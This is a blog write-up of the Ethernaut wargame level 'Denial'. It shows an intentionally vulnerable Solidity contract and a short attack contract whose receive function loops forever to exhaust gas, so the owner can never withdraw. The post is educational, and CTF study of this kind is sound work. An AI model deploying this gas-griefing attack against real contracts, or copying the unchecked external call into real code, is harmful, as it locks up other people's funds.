# Ethernaut 17: Denial

By [0xbanky](https://paragraph.com/@banky) · 2022-09-09

---

This one is pretty straightforward since it builds on principles from previous challenges. Here, we want to deny service to the owner of the contract, making it impossible for them to perform withdrawals.

Investigation
=============

Here is the contract

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.6.0;
    
    import '@openzeppelin/contracts/math/SafeMath.sol';
    
    contract Denial {
    
        using SafeMath for uint256;
        address public partner; // withdrawal partner - pay the gas, split the withdraw
        address payable public constant owner = address(0xA9E);
        uint timeLastWithdrawn;
        mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
    
        function setWithdrawPartner(address _partner) public {
            partner = _partner;
        }
    
        // withdraw 1% to recipient and 1% to owner
        function withdraw() public {
            uint amountToSend = address(this).balance.div(100);
            // perform a call without checking return
            // The recipient can revert, the owner will still get their share
            partner.call{value:amountToSend}("");
            owner.transfer(amountToSend);
            // keep track of last withdrawal time
            timeLastWithdrawn = now;
            withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
        }
    
        // allow deposit of funds
        receive() external payable {}
    
        // convenience function
        function contractBalance() public view returns (uint) {
            return address(this).balance;
        }
    }
    

This contract allows us to set the `partner` to be any address. When we call `withdraw`, we pay the gas fees and get a small amount of the funds. The owner gets the same amount of funds.

Solution
========

When transferring funds to another address, we need to take care because that address might be another contract that can run code. The EVM will run the code in the `receive` function of the called contract no matter what it is. That code can revert, exhaust gas etc. This is exactly what we will be doing to crack this challenge. This is my simple attack contract

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.0;
    
    contract DenialAttack {
    
        receive () payable external {
            while (true) {}
        }
    }
    

Here, call an infinite loop in the `receive` function to exhaust the gas that was sent. This makes it impossible for the owner to access their funds. This can also be solved by doing a `revert` or `assert(false)` in the `receive` function.

What I learned
==============

1.  Sending ether to an address needs to be done carefully because it might be a contract on the other side which will run malicious code

---

*Originally published on [0xbanky](https://paragraph.com/@banky/ethernaut-17-denial)*
